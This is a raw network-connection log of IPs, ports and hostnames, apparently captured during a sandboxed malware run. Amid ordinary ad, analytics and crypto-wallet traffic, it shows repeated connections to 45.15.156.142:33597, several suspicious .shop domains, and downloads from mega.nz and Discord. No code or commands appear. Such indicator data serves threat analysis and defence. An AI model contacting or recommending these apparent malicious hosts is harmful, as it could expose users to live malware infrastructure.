US 104.22.63.227:443 ads.themoneytizer.com.cdn.cloudflare.net tcp
NL 88.208.46.222:443 ogffa.net tcp
DE 51.75.86.98:443 onetag-sys.com tcp
US 8.8.8.8:53 secure.quantserve.com udp
US 8.8.8.8:53 p.cpx.to udp
US 8.8.8.8:53 adtrack.adleadevent.com udp
US 8.8.8.8:53 yastatic.net udp
RU 193.17.93.93:443 cdn.adlook.me tcp
FR 145.239.192.166:443 ip-fo-ovh.infra.leadplace.fr tcp
IE 54.247.148.56:443 s.cpx.to tcp
IE 54.77.250.4:443 adtrack.adleadevent.com tcp
RU 178.154.131.215:443 yastatic.net tcp
NL 88.208.46.222:443 ogffa.net tcp
NL 45.15.156.142:33597 tcp
DE 157.90.33.72:443 system-notify.app tcp
BE 23.55.96.24:443 contextual.media.net udp
BE 23.14.90.90:443 ced.sascdn.com tcp
NL 178.250.1.11:443 gum.nl3.vip.prod.criteo.com tcp
DE 91.228.74.166:443 secure.quantserve.com tcp
DE 37.252.171.85:443 ib.adnxs.com tcp
US 52.223.40.198:443 match.adsrvr.org tcp
RU 88.212.201.204:443 counter.yadro.ru tcp
NL 178.250.1.25:443 csm.nl3.vip.prod.criteo.net tcp
DE 157.90.33.72:443 system-notify.app tcp
RU 176.122.21.139:443 ads.adlook.me tcp
DE 157.90.33.72:443 system-notify.app tcp
IE 54.247.148.56:443 s.cpx.to tcp
SE 104.73.92.22:443 lg3.media.net udp
US 18.239.208.83:443 rules.quantcount.com tcp
NL 178.250.1.11:443 gum.nl3.vip.prod.criteo.com tcp
NL 178.250.1.11:443 gum.nl3.vip.prod.criteo.com tcp
FR 178.250.7.13:443 dnacdn.net tcp
FR 185.235.86.173:443 gbc6.fr3.eu.criteo.com tcp
FR 185.235.86.64:443 gbc2.fr3.eu.criteo.com tcp
US 216.239.34.36:443 region1.analytics.google.com udp
US 104.21.70.188:443 synapsex.co tcp
US 104.21.70.188:443 synapsex.co udp
GB 142.250.187.238:443 youtube-ui.l.google.com tcp
GB 142.250.187.238:443 youtube-ui.l.google.com udp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
GB 142.250.179.238:443 youtube-ui.l.google.com tcp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 216.239.32.36:443 region1.google-analytics.com udp
GB 172.217.16.226:443 googleads.g.doubleclick.net tcp
GB 172.217.16.226:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
GB 172.217.16.226:443 googleads.g.doubleclick.net tcp
GB 172.217.16.226:443 googleads.g.doubleclick.net tcp
GB 172.217.16.225:443 tpc.googlesyndication.com tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
GB 172.217.16.226:443 googleads.g.doubleclick.net udp
GB 172.217.16.225:443 tpc.googlesyndication.com udp
GB 142.250.187.196:443 www.google.com tcp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 csi.gstatic.com udp
US 8.8.8.8:53 redirector.gvt1.com udp
US 216.239.32.3:443 csi.gstatic.com tcp
US 8.8.8.8:53 csi.gstatic.com udp
GB 142.250.187.206:443 redirector.gvt1.com tcp
US 8.8.8.8:53 redirector.gvt1.com udp
US 8.8.8.8:53 csi.gstatic.com udp
US 8.8.8.8:53 redirector.gvt1.com udp
US 8.8.8.8:53 3.32.239.216.in-addr.arpa udp
US 216.239.32.3:443 csi.gstatic.com udp
GB 142.250.187.206:443 redirector.gvt1.com udp
GB 74.125.105.7:443 r2---sn-aigl6ns6.gvt1.com tcp
US 8.8.8.8:53 r2.sn-aigl6ns6.gvt1.com udp
US 8.8.8.8:53 r2.sn-aigl6ns6.gvt1.com udp
GB 74.125.105.7:443 r2.sn-aigl6ns6.gvt1.com udp
US 8.8.8.8:53 7.105.125.74.in-addr.arpa udp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 adclick.g.doubleclick.net udp
GB 216.58.213.2:443 adclick.g.doubleclick.net tcp
US 8.8.8.8:53 adclick.g.doubleclick.net udp
GB 216.58.213.2:443 adclick.g.doubleclick.net udp
US 8.8.8.8:53 2.213.58.216.in-addr.arpa udp
US 8.8.8.8:53 land.pixelsee.app udp
NL 51.158.130.233:443 land.pixelsee.app tcp
US 8.8.8.8:53 51-158-130-233.lb.nl-ams.scw.cloud udp
US 8.8.8.8:53 51-158-130-233.lb.nl-ams.scw.cloud udp
NL 51.158.130.233:8443 51-158-130-233.lb.nl-ams.scw.cloud udp
US 8.8.8.8:53 pixelsee-prod-landings.s3.nl-ams.scw.cloud udp
NL 163.172.208.8:443 pixelsee-prod-landings.s3.nl-ams.scw.cloud tcp
US 8.8.8.8:53 s3.nl-ams.scw.cloud udp
NL 163.172.208.8:443 s3.nl-ams.scw.cloud tcp
NL 163.172.208.8:443 s3.nl-ams.scw.cloud tcp
NL 163.172.208.8:443 s3.nl-ams.scw.cloud tcp
US 8.8.8.8:53 s3.nl-ams.scw.cloud udp
NL 45.15.156.142:33597 tcp
US 216.239.34.36:443 region1.google-analytics.com tcp
GB 142.250.200.3:443 www.google.co.uk tcp
GB 142.250.187.196:443 www.google.com tcp
US 8.8.8.8:53 connect.facebook.net udp
US 8.8.8.8:53 mc.yandex.ru udp
US 8.8.8.8:53 233.130.158.51.in-addr.arpa udp
US 8.8.8.8:53 8.208.172.163.in-addr.arpa udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 mc.yandex.ru udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
GB 142.250.200.3:443 www.google.co.uk udp
GB 142.250.187.196:443 www.google.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
GB 163.70.151.21:443 scontent.xx.fbcdn.net tcp
RU 87.250.250.119:443 mc.yandex.ru tcp
GB 163.70.151.21:443 scontent.xx.fbcdn.net udp
BE 74.125.133.156:443 stats.g.doubleclick.net tcp
BE 74.125.133.156:443 stats.g.doubleclick.net tcp
US 8.8.8.8:53 www.facebook.com udp
BE 74.125.133.156:443 stats.g.doubleclick.net udp
GB 163.70.151.35:443 star-mini.c10r.facebook.com tcp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 mc.yandex.com udp
RU 93.158.134.119:443 mc.yandex.com tcp
RU 93.158.134.119:443 mc.yandex.com tcp
GB 163.70.151.35:443 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 google.com udp
US 8.8.8.8:53 pixelsee.app udp
GB 142.250.178.14:443 google.com tcp
US 8.8.8.8:53 google.com udp
US 8.8.8.8:53 pixelsee.app udp
NL 51.158.130.233:443 pixelsee.app tcp
US 8.8.8.8:53 google.com udp
NL 51.158.130.233:8443 pixelsee.app udp
GB 142.250.178.14:443 google.com udp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 mmentorapp.com udp
US 8.8.8.8:53 mmentorapp.com udp
US 172.67.195.138:443 mmentorapp.com udp
US 172.67.195.138:443 mmentorapp.com tcp
US 8.8.8.8:53 mmentorapp.com udp
US 8.8.8.8:53 bat.bing.com udp
US 204.79.197.237:443 dual-a-0034.a-msedge.net tcp
US 8.8.8.8:53 dual-a-0034.a-msedge.net udp
GB 216.58.213.2:443 adclick.g.doubleclick.net tcp
GB 216.58.213.2:443 adclick.g.doubleclick.net udp
US 216.239.32.36:443 region1.google-analytics.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
RU 93.158.134.119:443 mc.yandex.com tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 58.99.105.20.in-addr.arpa udp
GB 216.58.213.2:443 adclick.g.doubleclick.net udp
GB 172.217.16.225:443 tpc.googlesyndication.com udp
NL 163.172.208.8:443 s3.nl-ams.scw.cloud tcp
US 8.8.8.8:53 www.google.com udp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 www.google.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
GB 163.70.151.21:443 scontent.xx.fbcdn.net udp
RU 93.158.134.119:443 mc.yandex.com tcp
GB 142.250.200.3:443 www.google.co.uk udp
GB 163.70.151.35:443 star-mini.c10r.facebook.com udp
NL 45.15.156.142:33597 tcp
US 104.21.70.188:443 synapsex.co udp
GB 142.250.187.238:443 youtube-ui.l.google.com udp
US 216.239.32.36:443 region1.google-analytics.com udp
NL 45.15.156.142:33597 tcp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 cdn1.synapsecdn.to udp
US 8.8.8.8:53 us-west1.prod.sumo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 us-west1.prod.sumo.prod.webservices.mozgcp.net udp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 bat.bing.com udp
US 8.8.8.8:53 dual-a-0034.a-msedge.net udp
US 8.8.8.8:53 www.google.co.uk udp
NL 163.172.208.8:443 s3.nl-ams.scw.cloud tcp
US 8.8.8.8:53 connect.facebook.net udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
BE 74.125.133.156:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 cdn1.synapsecdn.to udp
US 8.8.8.8:53 www.google.com udp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 us-west1.prod.sumo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 8.8.8.8:53 spocs.getpocket.com udp
US 8.8.8.8:53 getpocket.cdn.mozilla.net udp
US 172.67.195.138:443 mmentorapp.com tcp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 34.117.188.166:443 contile.services.mozilla.com udp
US 34.117.188.166:443 contile.services.mozilla.com udp
US 8.8.8.8:53 prod.pocket.prod.cloudops.mozgcp.net udp
US 34.120.5.221:443 prod.pocket.prod.cloudops.mozgcp.net tcp
US 34.117.188.166:443 contile.services.mozilla.com tcp
US 34.117.188.166:443 contile.services.mozilla.com tcp
US 172.67.195.138:443 mmentorapp.com udp
US 204.79.197.237:443 dual-a-0034.a-msedge.net tcp
US 8.8.8.8:53 dual-a-0034.a-msedge.net udp
US 172.67.195.138:443 mmentorapp.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 temposearch.com udp
NL 81.171.31.78:443 temposearch.com tcp
US 8.8.8.8:53 temposearch.com udp
US 8.8.8.8:53 www.temposearch.com udp
NL 81.171.31.78:443 www.temposearch.com tcp
US 8.8.8.8:53 www.temposearch.com udp
US 8.8.8.8:53 www.temposearch.com udp
NL 81.171.31.78:443 uk.temposearch.com tcp
US 8.8.8.8:53 uk.temposearch.com udp
US 8.8.8.8:53 uk.temposearch.com udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
GB 142.250.187.196:443 www.google.com tcp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
NL 81.171.31.78:443 uk.temposearch.com tcp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 78.31.171.81.in-addr.arpa udp
US 8.8.8.8:53 partner.googleadservices.com udp
US 8.8.8.8:53 afs.googleusercontent.com udp
US 8.8.8.8:53 www.adsensecustomsearchads.com udp
US 8.8.8.8:53 partner.googleadservices.com udp
US 8.8.8.8:53 googlehosted.l.googleusercontent.com udp
GB 142.250.187.238:443 www.adsensecustomsearchads.com tcp
GB 142.250.187.238:443 www.adsensecustomsearchads.com tcp
US 8.8.8.8:53 googlehosted.l.googleusercontent.com udp
US 8.8.8.8:53 partner.googleadservices.com udp
GB 142.250.187.238:443 www.adsensecustomsearchads.com udp
US 8.8.8.8:53 a43126dcb4897b767d2f822e0c7a39c9.safeframe.googlesyndication.com udp
GB 172.217.169.65:443 a43126dcb4897b767d2f822e0c7a39c9.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 pagead-googlehosted.l.google.com udp
US 8.8.8.8:53 pagead-googlehosted.l.google.com udp
GB 172.217.169.65:443 pagead-googlehosted.l.google.com udp
GB 172.217.16.225:443 googlehosted.l.googleusercontent.com tcp
GB 172.217.16.225:443 googlehosted.l.googleusercontent.com tcp
GB 172.217.16.225:443 googlehosted.l.googleusercontent.com udp
GB 172.217.16.225:443 googlehosted.l.googleusercontent.com tcp
GB 172.217.16.225:443 googlehosted.l.googleusercontent.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
GB 142.250.187.196:443 www.google.com udp
US 216.239.32.36:443 region1.google-analytics.com udp
NL 45.15.156.142:33597 tcp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
US 8.8.8.8:53 x.synapse.to udp
US 172.67.200.89:443 x.synapse.to tcp
US 8.8.8.8:53 x.synapse.to udp
US 8.8.8.8:53 x.synapse.to udp
US 172.67.200.89:443 x.synapse.to udp
US 8.8.8.8:53 89.200.67.172.in-addr.arpa udp
US 8.8.8.8:53 api.iconify.design udp
US 172.67.71.159:443 api.iconify.design tcp
US 8.8.8.8:53 api.iconify.design udp
US 8.8.8.8:53 api.iconify.design udp
US 8.8.8.8:53 159.71.67.172.in-addr.arpa udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 synapsesoftworks.llc udp
US 8.8.8.8:53 synapsesoftworks.llc udp
US 172.67.143.183:443 synapsesoftworks.llc tcp
US 8.8.8.8:53 synapsesoftworks.llc udp
US 172.67.143.183:443 synapsesoftworks.llc udp
US 8.8.8.8:53 code.iconify.design udp
US 172.67.71.159:443 code.iconify.design tcp
US 8.8.8.8:53 code.iconify.design udp
US 8.8.8.8:53 code.iconify.design udp
US 172.67.71.159:443 code.iconify.design tcp
US 192.81.214.145:443 perr.l-err.biz tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 172.67.200.89:443 x.synapse.to udp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 i.ytimg.com udp
US 8.8.8.8:53 i.ytimg.com udp
GB 142.250.200.22:443 i.ytimg.com udp
US 8.8.8.8:53 i.ytimg.com udp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
US 8.8.8.8:53 static.doubleclick.net udp
US 8.8.8.8:53 play.google.com udp
US 8.8.8.8:53 static.doubleclick.net udp
GB 216.58.213.6:443 static.doubleclick.net udp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
US 8.8.8.8:53 play.google.com udp
GB 142.250.179.238:443 play.google.com udp
GB 216.58.213.6:443 static.doubleclick.net tcp
GB 172.217.169.74:443 jnn-pa.googleapis.com udp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
GB 142.250.179.238:443 play.google.com tcp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
US 8.8.8.8:53 74.169.217.172.in-addr.arpa udp
NL 45.15.156.142:33597 tcp
US 104.26.7.147:443 forum.wearedevs.net tcp
US 8.8.8.8:53 forum.wearedevs.net udp
US 8.8.8.8:53 forum.wearedevs.net udp
US 8.8.8.8:53 147.7.26.104.in-addr.arpa udp
US 104.26.7.147:443 forum.wearedevs.net udp
US 8.8.8.8:53 challenges.cloudflare.com udp
US 104.17.3.184:443 challenges.cloudflare.com tcp
US 8.8.8.8:53 challenges.cloudflare.com udp
US 8.8.8.8:53 challenges.cloudflare.com udp
US 104.17.3.184:443 challenges.cloudflare.com udp
US 8.8.8.8:53 184.3.17.104.in-addr.arpa udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 8.8.8.8:53 i.imgur.com udp
US 162.159.134.233:443 cdn.discordapp.com tcp
US 162.159.134.233:443 cdn.discordapp.com tcp
US 162.159.134.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.134.233:443 cdn.discordapp.com tcp
US 199.232.192.193:443 i.imgur.com tcp
US 8.8.8.8:53 ipv4.imgur.map.fastly.net udp
US 216.239.34.36:443 region1.google-analytics.com tcp
GB 142.250.200.3:443 www.google.co.uk tcp
US 8.8.8.8:53 14.25.17.104.in-addr.arpa udp
US 162.159.134.233:443 cdn.discordapp.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
GB 142.250.200.3:443 www.google.co.uk udp
BE 74.125.133.156:443 stats.g.doubleclick.net tcp
BE 74.125.133.156:443 stats.g.doubleclick.net tcp
BE 74.125.133.156:443 stats.g.doubleclick.net udp
GB 142.250.187.196:443 www.google.com tcp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 233.134.159.162.in-addr.arpa udp
LU 31.216.144.5:443 mega.nz tcp
US 8.8.8.8:53 eu.static.mega.co.nz udp
US 8.8.8.8:53 eu.static.mega.co.nz udp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
US 8.8.8.8:53 g.api.mega.co.nz udp
LU 66.203.125.15:443 lu.api.mega.co.nz tcp
LU 66.203.125.15:443 lu.api.mega.co.nz tcp
US 8.8.8.8:53 lu.api.mega.co.nz udp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
N/A 127.0.0.1:6341 tcp
US 8.8.8.8:53 gfs270n447.userstorage.mega.co.nz udp
LU 31.216.148.17:443 gfs270n447.userstorage.mega.co.nz tcp
US 8.8.8.8:53 gfs270n447.userstorage.mega.co.nz udp
US 8.8.8.8:53 17.148.216.31.in-addr.arpa udp
NL 45.15.156.142:33597 tcp
N/A 127.0.0.1:6341 tcp
N/A 127.0.0.1:6341 tcp
N/A 127.0.0.1:6341 tcp
NL 45.15.156.142:33597 tcp
US 104.26.7.147:443 forum.wearedevs.net udp
US 104.17.3.184:443 challenges.cloudflare.com udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 162.159.134.233:443 cdn.discordapp.com udp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 encrypted-vtbn0.gstatic.com udp
GB 142.250.180.14:443 encrypted-vtbn0.gstatic.com udp
US 8.8.8.8:53 encrypted-vtbn0.gstatic.com udp
GB 142.250.180.14:443 encrypted-vtbn0.gstatic.com tcp
US 8.8.8.8:53 encrypted-vtbn0.gstatic.com udp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 opensea.io udp
US 104.18.33.97:443 opensea.io tcp
US 8.8.8.8:53 opensea.io udp
US 8.8.8.8:53 97.33.18.104.in-addr.arpa udp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 8.8.8.8:53 i.seadn.io udp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 104.16.80.73:443 static.cloudflareinsights.com tcp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 8.8.8.8:53 d3ev4ersfjrrol.cloudfront.net udp
US 18.239.208.108:443 d3ev4ersfjrrol.cloudfront.net tcp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 8.8.8.8:53 d3ev4ersfjrrol.cloudfront.net udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 8.8.8.8:53 wallets.opensea.io udp
US 8.8.8.8:53 wallets.opensea.io udp
US 172.64.154.159:443 wallets.opensea.io tcp
US 8.8.8.8:53 wallets.opensea.io udp
US 8.8.8.8:53 108.208.239.18.in-addr.arpa udp
US 8.8.8.8:53 159.154.64.172.in-addr.arpa udp
US 34.120.195.249:443 o406206.ingest.sentry.io tcp
US 8.8.8.8:53 o406206.ingest.sentry.io udp
US 8.8.8.8:53 o406206.ingest.sentry.io udp
US 34.120.195.249:443 o406206.ingest.sentry.io udp
US 34.120.195.249:443 o406206.ingest.sentry.io udp
US 104.16.80.73:443 static.cloudflareinsights.com tcp
US 104.18.33.97:443 wallets.opensea.io tcp
US 8.8.8.8:53 api.moonpay.com udp
US 172.64.154.51:443 api.moonpay.com tcp
US 8.8.8.8:53 api.moonpay.com udp
US 8.8.8.8:53 249.195.120.34.in-addr.arpa udp
US 8.8.8.8:53 api.moonpay.com udp
US 8.8.8.8:53 auth.privy.io udp
US 104.18.20.237:443 auth.privy.io tcp
US 104.18.20.237:443 auth.privy.io tcp
US 8.8.8.8:53 auth.privy.io udp
US 8.8.8.8:53 auth.privy.io udp
US 8.8.8.8:53 51.154.64.172.in-addr.arpa udp
US 8.8.8.8:53 237.20.18.104.in-addr.arpa udp
US 3.233.147.178:443 browser-intake-datadoghq.com tcp
US 8.8.8.8:53 browser-intake-datadoghq.com udp
US 8.8.8.8:53 browser-intake-datadoghq.com udp
US 8.8.8.8:53 raw.seadn.io udp
US 8.8.8.8:53 www.walletlink.org udp
US 18.239.208.83:443 raw.seadn.io tcp
US 8.8.8.8:53 d2iqd7ig8szcf1.cloudfront.net udp
US 8.8.8.8:53 www.walletlink.org udp
US 104.18.37.8:443 www.walletlink.org tcp
US 8.8.8.8:53 d2iqd7ig8szcf1.cloudfront.net udp
US 8.8.8.8:53 www.walletlink.org udp
US 104.18.37.8:443 www.walletlink.org tcp
US 8.8.8.8:53 178.147.233.3.in-addr.arpa udp
US 8.8.8.8:53 8.37.18.104.in-addr.arpa udp
US 8.8.8.8:53 bat.bing.com udp
US 204.79.197.237:443 dual-a-0034.a-msedge.net tcp
BE 74.125.133.156:443 stats.g.doubleclick.net tcp
BE 74.125.133.156:443 stats.g.doubleclick.net tcp
US 8.8.8.8:53 api2.amplitude.com udp
US 8.8.8.8:53 csp-report.browser-intake-datadoghq.com udp
US 8.8.8.8:53 api2.amplitude.com udp
US 8.8.8.8:53 alb-logs-http-browser-pub-s0-1899014706.us-east-1.elb.amazonaws.com udp
US 3.233.152.247:443 alb-logs-http-browser-pub-s0-1899014706.us-east-1.elb.amazonaws.com tcp
US 3.233.152.247:443 alb-logs-http-browser-pub-s0-1899014706.us-east-1.elb.amazonaws.com tcp
US 3.233.152.247:443 alb-logs-http-browser-pub-s0-1899014706.us-east-1.elb.amazonaws.com tcp
BE 74.125.133.156:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 relay.walletconnect.com udp
US 8.8.8.8:53 api2.amplitude.com udp
US 8.8.8.8:53 alb-logs-http-browser-pub-s0-1899014706.us-east-1.elb.amazonaws.com udp
US 8.8.8.8:53 relay.walletconnect.com udp
DE 18.159.147.43:443 relay.walletconnect.com tcp
US 35.83.191.32:443 api2.amplitude.com tcp
US 35.83.191.32:443 api2.amplitude.com tcp
US 8.8.8.8:53 urlin.us udp
US 104.21.1.102:443 urlin.us tcp
US 8.8.8.8:53 urlin.us udp
US 8.8.8.8:53 verify.walletconnect.com udp
US 172.64.154.159:443 wallets.opensea.io tcp
US 216.239.32.36:443 region1.google-analytics.com tcp
DE 35.157.12.4:443 verify.walletconnect.com tcp
US 8.8.8.8:53 explorer-api.walletconnect.com udp
US 216.239.32.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 247.152.233.3.in-addr.arpa udp
US 8.8.8.8:53 43.147.159.18.in-addr.arpa udp
US 8.8.8.8:53 102.1.21.104.in-addr.arpa udp
US 8.8.8.8:53 32.191.83.35.in-addr.arpa udp
US 104.18.27.46:443 explorer-api.walletconnect.com tcp
US 8.8.8.8:53 explorer-api.walletconnect.com udp
US 104.21.1.102:443 urlin.us udp
US 8.8.8.8:53 soneremonasez.shop udp
US 8.8.8.8:53 explorer-api.walletconnect.com udp
US 8.8.8.8:53 soneremonasez.shop udp
US 172.67.180.145:443 soneremonasez.shop tcp
US 8.8.8.8:53 soneremonasez.shop udp
US 172.67.180.145:443 soneremonasez.shop udp
US 8.8.8.8:53 46.27.18.104.in-addr.arpa udp
GB 142.250.179.238:443 play.google.com udp
US 8.8.8.8:53 www.hcaptcha.com udp
US 104.19.229.21:443 www.hcaptcha.com tcp
US 8.8.8.8:53 www.hcaptcha.com udp
US 8.8.8.8:53 www.hcaptcha.com udp
US 104.19.229.21:443 www.hcaptcha.com udp
US 8.8.8.8:53 newassets.hcaptcha.com udp
US 104.19.229.21:443 newassets.hcaptcha.com tcp
US 8.8.8.8:53 newassets.hcaptcha.com udp
US 104.19.229.21:443 newassets.hcaptcha.com tcp
US 104.19.229.21:443 newassets.hcaptcha.com udp
US 172.64.154.159:443 wallets.opensea.io tcp
US 8.8.8.8:53 api2.hcaptcha.com udp
US 8.8.8.8:53 api2.hcaptcha.com udp
US 104.19.230.21:443 api2.hcaptcha.com tcp
US 8.8.8.8:53 api2.hcaptcha.com udp
US 104.19.230.21:443 api2.hcaptcha.com udp
US 8.8.8.8:53 api.hcaptcha.com udp
US 104.19.229.21:443 api.hcaptcha.com tcp
US 104.19.229.21:443 api.hcaptcha.com tcp
US 8.8.8.8:53 api.hcaptcha.com udp
US 8.8.8.8:53 api.hcaptcha.com udp
US 104.19.229.21:443 api.hcaptcha.com udp
US 8.8.8.8:53 imgs3.hcaptcha.com udp
US 104.19.230.21:443 imgs3.hcaptcha.com tcp
US 104.19.230.21:443 imgs3.hcaptcha.com tcp
US 104.19.230.21:443 imgs3.hcaptcha.com tcp
US 104.19.230.21:443 imgs3.hcaptcha.com tcp
US 104.19.230.21:443 imgs3.hcaptcha.com tcp
US 104.19.230.21:443 imgs3.hcaptcha.com tcp
US 8.8.8.8:53 imgs3.hcaptcha.com udp
US 8.8.8.8:53 imgs3.hcaptcha.com udp
US 104.19.230.21:443 imgs3.hcaptcha.com udp
DE 18.157.123.166:443 verify.walletconnect.org tcp
US 8.8.8.8:53 verify.walletconnect.org udp
US 104.19.230.21:443 imgs3.hcaptcha.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 104.19.229.21:443 imgs3.hcaptcha.com udp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 api.hcaptcha.com udp
US 104.19.230.21:443 imgs3.hcaptcha.com udp
US 8.8.8.8:53 browser-intake-datadoghq.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 api.hcaptcha.com udp
US 104.19.229.21:443 imgs3.hcaptcha.com udp
US 104.19.229.21:443 imgs3.hcaptcha.com udp
NL 45.15.156.142:33597 tcp
US 104.19.229.21:443 imgs3.hcaptcha.com udp
US 104.19.230.21:443 imgs3.hcaptcha.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 104.19.230.21:443 imgs3.hcaptcha.com udp
US 104.19.229.21:443 imgs3.hcaptcha.com udp
US 104.19.229.21:443 imgs3.hcaptcha.com udp
US 172.67.180.145:443 soneremonasez.shop udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
NL 45.15.156.142:33597 tcp
US 104.21.67.200:443 soneremonasez.shop tcp
US 104.21.67.200:443 soneremonasez.shop tcp
US 8.8.8.8:53 200.67.21.104.in-addr.arpa udp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
GB 142.250.178.14:443 google.com tcp
GB 142.250.187.196:443 www.google.com tcp
NL 45.15.156.142:33597 tcp
US 35.190.80.1:443 a.nel.cloudflare.com tcp
US 35.190.80.1:443 a.nel.cloudflare.com udp
GB 142.250.187.196:443 www.google.com udp
US 104.21.70.174:443 senzamenuzaes.shop tcp
US 8.8.8.8:53 www.youtube.com udp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 174.70.21.104.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 soneservice.shop udp
US 104.21.74.224:80 soneservice.shop tcp
US 8.8.8.8:53 224.74.21.104.in-addr.arpa udp
US 104.21.74.224:80 soneservice.shop tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 mega.nz udp
LU 31.216.144.5:443 mega.nz tcp
US 8.8.8.8:53 mega.nz udp
NL 66.203.127.11:443 eu.static.mega.co.nz tcp
US 8.8.8.8:53 11.127.203.66.in-addr.arpa udp
US 8.8.8.8:53 g.api.mega.co.nz udp
LU 66.203.125.15:443 g.api.mega.co.nz tcp
